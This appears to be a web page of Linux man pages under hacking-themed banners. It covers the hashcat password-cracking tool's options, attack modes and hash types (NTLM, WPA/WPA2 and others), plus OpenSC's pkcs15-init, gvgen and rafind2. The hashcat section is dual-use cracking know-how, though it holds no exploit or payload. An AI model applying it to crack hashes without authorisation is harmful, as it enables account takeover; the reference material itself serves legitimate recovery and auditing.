While it’s not as fast as its GPU counterpart oclHashcat, large lists can be easily split in half with a good dictionary and a bit of knowledge of the command switches.

Hashcat is the self-proclaimed world’s fastest CPU-based password recovery tool, Examples of hashcat supported hashing algorithms are Microsoft LM Hashes, MD4, MD5, SHA-family, Unix Crypt formats, MySQL, Cisco PIX.

OPTIONS

-h, –help
Show summary of options.

-V, –version
Show version of program.

-m, –hash-type=NUM
Hash-type, see references below

-a, –attack-mode=NUM
Attack-mode, see references below

–quiet
Suppress output

–force
Ignore warnings

–stdin-timeout-abort
Abort if there is no input from stdin for X seconds

–machine-readable
Display the status view in a machine-readable format

–keep-guessing
Keep guessing the hash after it has been cracked

–self-test-disable
Disable self-test functionality on startup

–loopback
Add new plains to induct directory

-b, –benchmark
Run benchmark

–hex-salt
Assume salt is given in hex

–hex-charset
Assume charset is given in hex

–hex-wordlist
Assume words in wordlist are given in hex

–runtime=NUM
Abort session after NUM seconds of runtime

–status
Enable automatic update of the status-screen

–status-timer=NUM
Seconds between status-screen update

-o, –outfile=FILE
Define outfile for recovered hash

–outfile-format=NUM
Define outfile-format for recovered hash, see references below

–outfile-autohex-disable
Disable the use of $HEX[] in output plains

-p, –separator=CHAR
Define separator char for hashlists/outfile

–show
Show cracked passwords only (see –username)

–left
Show uncracked passwords only (see –username)

–username
Enable ignoring of usernames in hashfile (Recommended: also use –show)

–remove
Enable remove of hash once it is cracked

–stdout
Stdout mode

–potfile-disable
Do not write potfile

–debug-mode=NUM
Defines the debug mode (hybrid only by using rules), see references below

–debug-file=FILE
Output file for debugging rules (see –debug-mode)

-c, –segment-size=NUM
Size in MB to cache from the wordfile

-r, –rules-file=FILE
Rules-file use: -r 1.rule

-g, –generate-rules=NUM
Generate NUM random rules

–generate-rules-func-min=NUM
Force NUM functions per random rule min

–generate-rules-func-max=NUM
Force NUM functions per random rule max

–generate-rules-seed=NUM
Force RNG seed to NUM

-1, –custom-charset1=CS
User-defined charsets example –custom-charset1=?dabcdef : sets charset ?1 to 0123456789abcdef -1 mycharset.hcchr : sets charset ?1 to chars contained in file

-2, –custom-charset2=CS
User-defined charsets example –custom-charset2=?dabcdef : sets charset ?2 to 0123456789abcdef -2 mycharset.hcchr : sets charset ?2 to chars con$

-3, –custom-charset3=CS
User-defined charsets example –custom-charset3=?dabcdef : sets charset ?3 to 0123456789abcdef -3 mycharset.hcchr : sets charset ?3 to chars con$

-4, –custom-charset4=CS
User-defined charsets example –custom-charset4=?dabcdef : sets charset ?4 to 0123456789abcdef -4 mycharset.hcchr : sets charset ?4 to chars con$

–increment
Enable increment mode

–increment-min=NUM
Start incrementing at NUM

–increment-max=NUM
Stop incrementing at NUM

–markov-hcstat2
Specify hcstat2 file to use

–markov-disable
Disables markov-chains, emulates classic brute-force

–markov-classic
Enables classic markov-chains, no per-position

-t, –markov-threshold
Threshold X when to stop accepting new markov-chains

–session=STR
Define specific session name

–restore
Restore session from –session

–restore-disable
Do not write restore file

–restore-file-path=FILE
Specific path to restore file

–outfile-check-timer=NUM
Sets seconds between outfile checks to X

–wordlist-autohex-disable
Disable the conversion of $HEX[] from the wordlist

–remove-timer=NUM
Update input hash file each X seconds

–potfile-path=FILE
Specific path to potfile

–encoding-from=CODE
Force internal wordlist encoding from X

–encoding-to=CODE
Force internal wordlist encoding to X

–induction-dir=DIR
Specify the induction directory to use for loopback

–outfile-check-dir=DIR
Specify the outfile directory to monitor for plains

–logfile-disable
Disable the logfile

–hccapx-message-pair=NUM
Load only message pairs from hccapx matching X

–nonce-error-corrections=NUM
The BF size range to replace AP’s nonce last bytes

–keyboard-layout-mapping=FILE
Keyboard layout mapping table for special hash-modes

–truecrypt-keyfiles=FILE
Keyfiles to use, separated with commas

–veracrypt-keyfiles=FILE
Keyfiles to use, separated with commas

–veracrypt-pim=NUM
VeraCrypt personal iterations multiplier

–benchmark-all
Run benchmark of all hash-modes

–speed-only
Return expected speed of the attack, then quit

–progress-only
Return ideal progress step size and time to process

–bitmap-min=NUM
Sets minimum bits allowed for bitmaps to X

–bitmap-max=NUM
Sets maximum bits allowed for bitmaps to X

–cpu-affinity=STR
Locks to CPU devices, separated with commas

–example-hashes
Show an example hash for each hash-mode

-I, –opencl-info
Show info about detected OpenCL platforms/devices

–opencl-platforms=STR
OpenCL platforms to use, separated with commas

-d, –opencl-devices=STR
OpenCL devices to use, separated with commas

-D, –opencl-device-types=STR
OpenCL device-types to use, separated with commas

–opencl-vector-width=NUM
Manually override OpenCL vector-width to X

-O, –optimized-kernel-enable
Enable optimized kernels (limits password length)

-w, –workload-profile=NUM
Enable a specific workload profile, see pool below

-n, –kernel-accel=NUM
Manual workload tuning, set outerloop step size to X

-u, –kernel-loops=NUM
Manual workload tuning, set innerloop step size to X

-T, –kernel-threads=NUM
Manual workload tuning, set thread count to X

–spin-damp=NUM
Use CPU for device synchronization, in percent

–hwmon-disable
Disable temperature and fanspeed reads and triggers

–hwmon-temp-abort=NUM
Abort if temperature reaches X degrees Celsius

–scrypt-tmto=NUM
Manually override TMTO value for scrypt to X

-s, –skip=NUM
Skip X words from the start

-l, –limit=NUM
Limit X words from the start + skipped words

–keyspace
Show keyspace base:mod values and quit

-j, –rule-left RULE
Single rule applied to each word from left wordlist

-k, –rule-right RULE
Single rule applied to each word from right wordlist

-S, –slow-candidates
Enable slower (but advanced) candidate generators

–brain-server
Enable brain server

-z, –brain-client
Enable brain client, activates -S

–brain-client-features=NUM
Define brain client features, see below

–brain-host=STR
Brain server host (IP or domain)

–brain-port=PORT
Brain server port

–brain-password=STR
Brain server authentication password

–brain-session=HEX
Overrides automatically calculated brain session

–brain-session-whitelist=HEX
Allow given sessions only, separated with commas

Permutation attack-mode options

Outfile formats

1 = hash[:salt]
2 = plain
3 = hash[:salt]:plain
4 = hex_plain
5 = hash[:salt]:hex_plain
6 = plain:hex_plain
7 = hash[:salt]:plain:hex_plain
8 = crackpos
9 = hash[:salt]:crack_pos
10 = plain:crack_pos
11 = hash[:salt]:plain:crack_pos
12 = hex_plain:crack_pos
13 = hash[:salt]:hex_plain:crack_pos
14 = plain:hex_plain:crack_pos
15 = hash[:salt]:plain:hex_plain:crack_pos

Debug mode output formats (for hybrid mode only, by using rules)

1 = save finding rule
2 = save original word
3 = save original word and finding rule
4 = save original word, finding rule and modified plain

Built-in charsets

?l = abcdefghijklmnopqrstuvwxyz
?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
?d = 0123456789
?h = 0123456789abcdef
?H = 0123456789ABCDEF
?s = !"#$%&’()*+,-./:;<=>?@[]^_`{|}~
?a = ?l?u?d?s
?b = 0x00 - 0xff

Attack mode

0 = Straight
1 = Combination
3 = Brute-force
6 = Hybrid Wordlist + Mask
7 = Hybrid Mask + Wordlist

Hash types

0 = MD5
10 = md5($pass.$salt)
20 = md5($salt.$pass)
30 = md5(unicode($pass).$salt)
40 = md5($salt.unicode($pass))
50 = HMAC-MD5 (key = $pass)
60 = HMAC-MD5 (key = $salt)
100 = SHA1
110 = sha1($pass.$salt)
120 = sha1($salt.$pass)
130 = sha1(unicode($pass).$salt)
140 = sha1($salt.unicode($pass))
150 = HMAC-SHA1 (key = $pass)
160 = HMAC-SHA1 (key = $salt)
200 = MySQL323
300 = MySQL4.1/MySQL5
400 = phpass, MD5(Wordpress), MD5(phpBB3), MD5(Joomla)
500 = md5crypt, MD5(Unix), FreeBSD MD5, Cisco-IOS MD5
900 = MD4
1000 = NTLM
1100 = Domain Cached Credentials (DCC), MS Cache
1400 = SHA256
1410 = sha256($pass.$salt)
1420 = sha256($salt.$pass)
1430 = sha256(unicode($pass).$salt)
1431 = base64(sha256(unicode($pass)))
1440 = sha256($salt.unicode($pass))
1450 = HMAC-SHA256 (key = $pass)
1460 = HMAC-SHA256 (key = $salt)
1600 = md5apr1, MD5(APR), Apache MD5
1700 = SHA512
1710 = sha512($pass.$salt)
1720 = sha512($salt.$pass)
1730 = sha512(unicode($pass).$salt)
1740 = sha512($salt.unicode($pass))
1750 = HMAC-SHA512 (key = $pass)
1760 = HMAC-SHA512 (key = $salt)
1800 = SHA-512(Unix)
2400 = Cisco-PIX MD5
2410 = Cisco-ASA MD5
2500 = WPA/WPA2
2600 = Double MD5
3200 = bcrypt, Blowfish(OpenBSD)
3300 = MD5(Sun)
3500 = md5(md5(md5($pass)))
3610 = md5(md5($salt).$pass)
3710 = md5($salt.md5($pass))
3720 = md5($pass.md5($salt))
3800 = md5($salt.$pass.$salt)
3910 = md5(md5($pass).md5($salt))
4010 = md5($salt.md5($salt.$pass))
4110 = md5($salt.md5($pass.$salt))
4210 = md5($username.0.$pass)
4300 = md5(strtoupper(md5($pass)))
4400 = md5(sha1($pass))
4500 = Double SHA1
4600 = sha1(sha1(sha1($pass)))
4700 = sha1(md5($pass))
4800 = MD5(Chap), iSCSI CHAP authentication
4900 = sha1($salt.$pass.$salt)
5000 = SHA-3(Keccak)
5100 = Half MD5
5200 = Password Safe SHA-256
5300 = IKE-PSK MD5
5400 = IKE-PSK SHA1
5500 = NetNTLMv1-VANILLA / NetNTLMv1-ESS
5600 = NetNTLMv2
5700 = Cisco-IOS SHA256
5800 = Android PIN
6300 = AIX {smd5}
6400 = AIX {ssha256}
6500 = AIX {ssha512}
6700 = AIX {ssha1}
6900 = GOST, GOST R 34.11-94
7000 = Fortigate (FortiOS)
7100 = OS X v10.8+
7200 = GRUB 2
7300 = IPMI2 RAKP HMAC-SHA1
7400 = sha256crypt, SHA256(Unix)
7900 = Drupal7
8400 = WBB3, Woltlab Burning Board 3
8900 = scrypt
9200 = Cisco $8$
9300 = Cisco $9$
9800 = Radmin2
10000 = Django (PBKDF2-SHA256)
10200 = Cram MD5
10300 = SAP CODVN H (PWDSALTEDHASH) iSSHA-1
11000 = PrestaShop
11100 = PostgreSQL Challenge-Response Authentication (MD5)
11200 = MySQL Challenge-Response Authentication (SHA1)
11400 = SIP digest authentication (MD5)
99999 = Plaintext

Specific hash type

11 = Joomla < 2.5.18
12 = PostgreSQL
21 = osCommerce, xt:Commerce
23 = Skype
101 = nsldap, SHA-1(Base64), Netscape LDAP SHA
111 = nsldaps, SSHA-1(Base64), Netscape LDAP SSHA
112 = Oracle S: Type (Oracle 11+)
121 = SMF > v1.1
122 = OS X v10.4, v10.5, v10.6
123 = EPi
124 = Django (SHA-1)
131 = MSSQL(2000)
132 = MSSQL(2005)
133 = PeopleSoft
141 = EPiServer 6.x < v4
1421 = hMailServer
1441 = EPiServer 6.x > v4
1711 = SSHA-512(Base64), LDAP {SSHA512}
1722 = OS X v10.7
1731 = MSSQL(2012 & 2014)
2611 = vBulletin < v3.8.5
2612 = PHPS
2711 = vBulletin > v3.8.5
2811 = IPB2+, MyBB1.2+
3711 = Mediawiki B type
3721 = WebEdition CMS
7600 = Redmine Project Management Web App

AUTHOR

hashcat was written by Jens Steube <[email protected]>

This manual page was written by Daniel Echeverry <[email protected]>, for the Debian project (and may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1646 - Linux cli command pkcs15-init

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pkcs15-init and provides detailed information about the command pkcs15-init, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pkcs15-init.

NAME 🖥️ pkcs15-init 🖥️

init - smart card personalization utility

SYNOPSIS

pkcs15-init [OPTIONS]

DESCRIPTION

The pkcs15-init utility can be used to create a PKCS #15 structure on a smart card, and add key or certificate objects. Details of the structure that will be created are controlled via profiles.

The profile used by default is pkcs15. Alternative profiles can be specified via the -p switch.

PIN USAGE

pkcs15-init can be used to create a PKCS #15 structure on your smart card, create PINs, and install keys and certificates on the card. This process is also called personalization.

An OpenSC card can have one security officer PIN, and zero or more user PINs. PIN stands for Personal Identification Number, and is a secret code you need to present to the card before being allowed to perform certain operations, such as using one of the stored RSA keys to sign a document, or modifying the card itself.

Usually, PINs are a sequence of decimal digits, but some cards will accept arbitrary ASCII characters. Be aware however that using characters other than digits will make the card unusable with PIN pad readers, because those usually have keys for entering digits only.

The security officer (SO) PIN is special; it is used to protect meta data information on the card, such as the PKCS #15 structure itself. Setting the SO PIN is optional, because the worst that can usually happen is that someone finding your card can mess it up. To extract any of your secret keys stored on the card, an attacker will still need your user PIN, at least for the default OpenSC profiles. However, it is possible to create card profiles that will allow the security officer to override user PINs.

For each PIN, you can specify a PUK (also called unblock PIN). The PUK can be used to overwrite or unlock a PIN if too many incorrect values have been entered in a row.

For some cards that use the PKCS#15 emulation, the attributes of private objects are protected and cannot be parsed without authentication (usually with User PIN). This authentication need to be done immediately after the card binding. In such cases –verify-pin has to be used.

MODES OF OPERATION

Initialization

This is the first step during card personalization, and will create the basic files on the card. To create the initial PKCS #15 structure, invoke the utility as

pkcs15-init –create-pkcs15

You will then be asked for the security officer PIN and PUK. Simply pressing return at the SO PIN prompt will skip installation of an SO PIN.

If the card supports it, you should erase the contents of the card with pkcs15-init –erase-card before creating the PKCS#15 structure.

User PIN Installation

Before installing any user objects such as private keys, you need at least one PIN to protect these objects. you can do this using

pkcs15-init –store-pin –id " nn

where nn is a PKCS #15 ID in hexadecimal notation. Common values are 01, 02, etc.

Entering the command above will ask you for the users PIN and PUK. If you do not wish to install an unblock PIN, simply press return at the PUK prompt.

To set a label for this PIN object (which can be used by applications to display a meaningful prompt to the user), use the –label command line option.

Key generation

pkcs15-init lets you generate a new key and store it on the card. You can do this using:

pkcs15-init –generate-key “keyspec” –auth-id “nn”

where keyspec describes the algorithm and the parameters of the key to be created. For example, rsa:2048 generates a RSA key with 2048-bit modulus. If you are generating an EC key, the curve designation must be specified, for example ec:prime256v1. For symmetric key, the length of key is specified in bytes, for example AES:32 or DES3:24.

nn is the ID of a user PIN installed previously, e.g. 01.

In addition to storing the private portion of the key on the card, pkcs15-init will also store the public portion of the key as a PKCS #15 public key object.

Private Key Upload

You can use a private key generated by other means and upload it to the card. For instance, to upload a private key contained in a file named okir.pem, which is in PEM format, you would use

pkcs15-init –store-private-key okir.pem –id 45 –auth-id 01

In addition to storing the private portion of the key on the card, pkcs15-init will also store the public portion of the key as a PKCS #15 public key object.

Note that usage of –id option in the pkcs15-init commands to generate or to import a new key is deprecated. Better practice is to let the middleware to derive the identifier from the key material. (SHA1(modulus) for RSA, …). This allows easily set up relation between related objects (private/public keys and certificates).

In addition to the PEM key file format, pkcs15-init also supports DER encoded keys, and PKCS #12 files. The latter is the file format used by Netscape Navigator (among others) when exporting certificates to a file. A PKCS #12 file usually contains the X.509 certificate corresponding to the private key. If that is the case, pkcs15-init will store the certificate instead of the public key portion.

Public Key Upload

You can also upload individual public keys to the card using the –store-public-key option, which takes a filename as an argument. This file is supposed to contain the public key. If you dont specify a key file format using the –format option, pkcs15-init will assume PEM format. The only other supported public key file format is DER.

Since the corresponding public keys are always uploaded automatically when generating a new key, or when uploading a private key, you will probably use this option only very rarely.

Certificate Upload

You can upload certificates to the card using the –store-certificate option, which takes a filename as an argument. This file is supposed to contain the PEM encoded X.509 certificate.

Uploading PKCS #12 bags

Most browsers nowadays use PKCS #12 format files when you ask them to export your key and certificate to a file. pkcs15-init is capable of parsing these files, and storing their contents on the card in a single operation. This works just like storing a private key, except that you need to specify the file format:

pkcs15-init –store-private-key okir.p12 –format pkcs12 –auth-id 01

This will install the private key contained in the file okir.p12, and protect it with the PIN referenced by authentication ID 01. It will also store any X.509 certificates contained in the file, which is usually the user certificate that goes with the key, as well as the CA certificate.

Secret Key Upload

You can use a secret key generated by other means and upload it to the card. For instance, to upload an AES-secret key generated by the system random generator you would use

pkcs15-init –store-secret-key /dev/urandom –secret-key-algorithm aes:256 –auth-id 01

By default a random ID is generated for the secret key. You may specify an ID with the –id if needed.

OPTIONS

–version,

Print the OpenSC package release version.

–card-profile name, -c name

Tells pkcs15-init to load the specified card profile option. You will rarely need this option.

–create-pkcs15, -C

This tells pkcs15-init to create a PKCS #15 structure on the card, and initialize any PINs.

–serial SERIAL

Specify the serial number of the card.

–erase-card, -E

This will erase the card prior to creating the PKCS #15 structure, if the card supports it. If the card does not support erasing, pkcs15-init will fail.

–erase-application AID

This will erase the application with the application identifier AID.

–generate-key keyspec, -G keyspec

Tells the card to generate new key and store it on the card. keyspec consists of an algorithm name, optionally followed by a colon “:”, slash “/” or hyphen “-” and the parameters of the key to be created. It is a good idea to specify the key ID along with this command, using the id option, otherwise an intrinsic ID will be calculated from the key material. Look the description of the pkcs15-id-style attribute in the pkcs15.profile for the details about the algorithm used to calculate intrinsic ID. For the multi-application cards the target PKCS#15 application can be specified by the hexadecimal AID value of the aid option.

–pin pin, –puk puk, –so-pin sopin, –so-puk sopuk

These options can be used to specify the PIN/PUK values on the command line. If the value is set to env:VARIABLE, the value of the specified environment variable is used. By default, the code is prompted on the command line if needed.

Note that on most operation systems, any user can display the command line of any process on the system using utilities such as ps(1). Therefore, you should prefer passing the codes via an environment variable on an unsecured system.

–no-so-pin,

Do not install a SO PIN, and do not prompt for it.

–profile name, -p name

Tells pkcs15-init to load the specified general profile. Currently, the only application profile defined is pkcs15, but you can write your own profiles and specify them using this option.

The profile name can be combined with one or more profile options, which slightly modify the profiles behavior. For instance, the default OpenSC profile supports the openpin option, which installs a single PIN during card initialization. This PIN is then used both as the SO PIN as well as the user PIN for all keys stored on the card.

Profile name and options are separated by a + character, as in pkcs15+onepin.

–secret-key-algorithm keyspec,

keyspec describes the algorithm and length of the key to be created or downloaded, such as aes:256. This will create a 256 bit AES key.

–store-certificate filename, -X filename

Tells pkcs15-init to store the certificate given in filename on the card, creating a certificate object with the ID specified via the –id option. Without supplied ID an intrinsic ID will be calculated from the certificates public key. Look the description of the pkcs15-id-style attribute in the pkcs15.profile for the details about the algorithm used to calculate intrinsic ID. The file is assumed to contain the PEM encoded certificate. For the multi-application cards the target application can be specified by the hexadecimal AID value of the aid option.

–store-pin, -P

Store a new PIN/PUK on the card.

–store-public-key filename

Tells pkcs15-init to download the specified public key to the card and create a public key object with the key ID specified via the –id. By default, the file is assumed to contain the key in PEM format. Alternative formats can be specified using –format.

–store-private-key filename, -S filename

Tells pkcs15-init to download the specified private key to the card. This command will also create a public key object containing the public key portion. By default, the file is assumed to contain the key in PEM format. Alternative formats can be specified using –format. It is a good idea to specify the key ID along with this command, using the –id option, otherwise an intrinsic ID will be calculated from the key material. Look the description of the pkcs15-id-style attribute in the pkcs15.profile for the details about the algorithm used to calculate intrinsic ID. For the multi-application cards the target PKCS#15 application can be specified by the hexadecimal AID value of the aid option.

–store-secret-key filename,

Tells pkcs15-init to download the specified secret key to the card. The file is assumed to contain the raw key. They key type should be specified with –secret-key-algorithm option.

You may additionally specify the key ID along with this command, using the –id option, otherwise a random ID is generated. For the multi-application cards the target PKCS#15 application can be specified by the hexadecimal AID value of the aid option.

–store-data filename, -W filename

Store a data object.

–update-certificate filename, -U filename

Tells pkcs15-init to update the certificate object with the ID specified via the –id option with the certificate in filename. The file is assumed to contain a PEM encoded certificate.

Pay extra attention when updating mail decryption certificates, as missing certificates can render e-mail messages unreadable!

–delete-objects arg, -D arg

Tells pkcs15-init to delete the specified object. arg is comma-separated list containing any of privkey, pubkey, secrkey, cert, chain or data.

When data is specified, an -–application-id must also be specified, in the other cases an –id must also be specified

When chain is specified, the certificate chain starting with the cert with specified ID will be deleted, until theres a CA certificate that certifies another cert on the card

–change-attributes arg, -A arg

Tells pkcs15-init to change the specified attribute. arg is either privkey, pubkey, secrkey, cert or data. You also have to specify the –id of the object. For now, you can only change the –label, e.g:

							pkcs15-init -A cert --id 45 -a 1 --label Jim

–use-default-transport-keys, -T

Tells pkcs15-init to not ask for the transport keys and use default keys, as known by the card driver.

–sanity-check

Tells pkcs15-init to perform a card specific sanity check and possibly update procedure.

–reader arg, -r arg

Number of the reader to use. By default, the first reader with a present card is used. If arg is an ATR, the reader with a matching card will be chosen.

–verbose, -v

Causes pkcs15-init to be more verbose. Specify this flag several times to enable debug output in the OpenSC library.

–wait, -w

Causes pkcs15-init to wait for a card insertion.

–use-pinpad

Do not prompt the user; if no PINs supplied, pinpad will be used.

–auth-id filename, -a filename

Specify ID of PIN to use/create

–puk-id ID

Specify ID of PUK to use/create

–label LABEL

Specify label for a PIN, key, certificate or data object when creating a new objects. When deleting objects, this can be used to delete object by label.

–puk-label LABEL

Specify label of PUK

–public-key-label LABEL

Specify public key label (use with –generate-key)

–cert-label LABEL

Specify user cert label (use with –store-private-key)

–application-name arg

Specify application name of data object (use with –store-data-object)

–aid AID

Specify AID of the on-card PKCS#15 application to be binded to (in hexadecimal form)

–output-file filename -o filename,

Output public portion of generated key to file

–passphrase PASSPHRASE

Specify passphrase for unlocking secret key

–authority

Mark certificate as a CA certificate

–key-usage arg -u arg,

Specifies the X.509 key usage. arg is comma-separated list containing any of digitalSignature, nonRepudiation, keyEncipherment, dataEncipherment, keyAgreement, keyCertSign, cRLSign. Abbreviated names are allowed if unique (e.g. dataEnc).

The alias sign is equivalent to digitalSignature,keyCertSign,cRLSign

The alias decrypt is equivalent to keyEncipherment,dataEncipherment

–finalize -F,

Finish initialization phase of the smart card

–update-last-update

Update lastUpdate attribute of tokenInfo

–ignore-ca-certificates

When storing PKCS#12 ignore CA certificates

–update-existing

Store or update existing certificate

–extractable

Private key stored as an extractable key

–user-consent arg

Specify user-consent. arg is an integer value. If > 0, the value specifies how many times the object can be accessed before a new authentication is required. If zero, the object does not require re-authentication.

–insecure

Insecure mode: do not require a PIN for private key

–md-container-guid GUID

For a new key specify GUID for a MD container

–help -h,

Display help message

SEE ALSO

pkcs15-profile(5)

AUTHORS

pkcs15-init was written by Olaf Kirch <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1647 - Linux cli command gvgen

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command gvgen and provides detailed information about the command gvgen, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the gvgen.

NAME 🖥️ gvgen 🖥️

generate graphs

SYNOPSIS

gvgen [ -dv? ] [ -in ] [ -cn ] [ -Cx,y ] [ -g*[f]x,y* ] [ -G*[f]x,y* ] [ -hn ] [ -kn ] [ -bx,y ] [ -Bx,y ] [ -mn ] [ -Mx,y ] [ -pn ] [ -rx,y ] [ -Rx ] [ -sn ] [ -Sn ] [ -Sn,d ] [ -tn ] [ -td,n ] [ -Tx,y ] [ -Tx,y,u,v ] [ -wn ] [ -nprefix ] [ -Nname ] [ -ooutfile ]

DESCRIPTION

gvgen generates a variety of simple, regularly-structured abstract graphs.

OPTIONS

The following options are supported:

-c* n*
Generate a cycle with n vertices and edges.

-C* x,y*
Generate an x by y cylinder. This will have x*y vertices and 2*x*y - y edges.

-g* [f]x,y*
Generate an x by y grid. If f is given, the grid is folded, with an edge attaching each pair of opposing corner vertices. This will have x*y vertices and 2*x*y - y - x edges if unfolded and 2*x*y - y - x + 2 edges if folded.

-G* [f]x,y*
Generate an x by y partial grid. If f is given, the grid is folded, with an edge attaching each pair of opposing corner vertices. This will have x*y vertices.

-h* n*
Generate a hypercube of degree n. This will have 2^n vertices and n*2^(n-1) edges.

-k* n*
Generate a complete graph on n vertices with n*(n-1)/2 edges.

-b* x,y*
Generate a complete x by y bipartite graph. This will have x+y vertices and x*y edges.

-B* x,y*
Generate an x by y ball, i.e., an x by y cylinder with two “cap” nodes closing the ends. This will have x*y + 2 vertices and 2*x*y + y edges.

-m* n*
Generate a triangular mesh with n vertices on a side. This will have (n+1)*n/2 vertices and 3*(n-1)*n/2 edges.

-M* x,y*
Generate an x by y Moebius strip. This will have x*y vertices and 2*x*y - y edges.

-p* n*
Generate a path on n vertices. This will have n-1 edges.

-r* x,y*
Generate a random graph. The number of vertices will be the largest value of the form 2^n-1 less than or equal to x. Larger values of y increase the density of the graph.

-R* x*
Generate a random rooted tree on x vertices.

-s* n*
Generate a star on n vertices. This will have n-1 edges.

-S* n*
Generate a Sierpinski graph of order n. This will have 3*(3^(n-1) + 1)/2 vertices and 3^n edges.

-S* n,d*
Generate a d-dimensional Sierpinski graph of order n. At present, d must be 2 or 3. For d equal to 3, there will be 4*(4^(n-1) + 1)/2 vertices and 6 * 4^(n-1) edges.

-t* n*
Generate a binary tree of height n. This will have 2^n-1 vertices and 2^n-2 edges.

-t* h,n*
Generate a n-ary tree of height h.

-T* x,y*
-T* x,y,u,v*
Generate an x by y torus. This will have x*y vertices and 2*x*y edges. If u and v are given, they specify twists of that amount in the horizontal and vertical directions, respectively.

-w* n*
Generate a path on n vertices. This will have n-1 edges.

-i* n*
Generate n graphs of the requested type. At present, only available if the -R flag is used.

-n* prefix*
Normally, integers are used as node names. If prefix is specified, this will be prepended to the integer to create the name.

-N* name*
Use name as the name of the graph. By default, the graph is anonymous.

-o* outfile*
If specified, the generated graph is written into the file outfile. Otherwise, the graph is written to standard out.

-d
Make the generated graph directed.

-v
Verbose output.

-?
Print usage information.

EXIT STATUS

gvgen exits with 0 on successful completion, and exits with 1 if given an ill-formed or incorrect flag, or if the specified output file could not be opened.

AUTHOR

Emden R. Gansner <[email protected]>

SEE ALSO

gc(1), acyclic(1), gvpr(1), gvcolor(1), ccomps(1), sccmap(1), tred(1), libgraph(3)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1648 - Linux cli command rafind2

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rafind2 and provides detailed information about the command rafind2, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rafind2.

is a versatile program designed to find byte patterns in files.

The following options are available:

Only accept aligned search results.

Define the block size for searching. Depending on the cpu cache, memory and storage different sizes may affect the performance.

Disable colorful output, primarily useful for non-interactive or batch use-cases.

Search for matches using regular expressions. Multiple expressions can be provided.

Specify the starting address for the search. (See -t)

Read keywords from the specified file for searching.

Display the help message.

Identify the filetype using similar techniques as the ‘file’ command.

Output results in JSON format.

List all available I/O plugins.

Perform magic search to identify file types based on signatures.

Apply a binary mask to the keywords before searching.

Continue searching even if read errors occur.

Quiet mode: suppress headings or filenames in the output.

Print results using radare commands.

Search for the specified string(s) in the file(s).

Search for wide strings (Unicode) in the file(s).

Specify the ending address for the search. (See -f)

Display the version of rafind2 and exit.

Search for the given value using little-endian notation (e.g., -V 4:123).

Search for the specified hex pattern(s) in the file(s).

Display the hexdump of search results.

Search for zero-terminated strings.

Display strings found on each search hit.

Search for a specific string in a file:

$ rafind2 -s “search_string” file.txt

Search for a hex pattern in all the files from directory:

$ rafind2 -x “909090” directory_path

Identify the file type using the magic database:

$ rafind2 -i binary_file

Search for the little endian 123 stored in a 4 byte word inside a file:

$ rafind2 -V 4:123 file.bin

https://www.radare.org/

pancake <[email protected]>

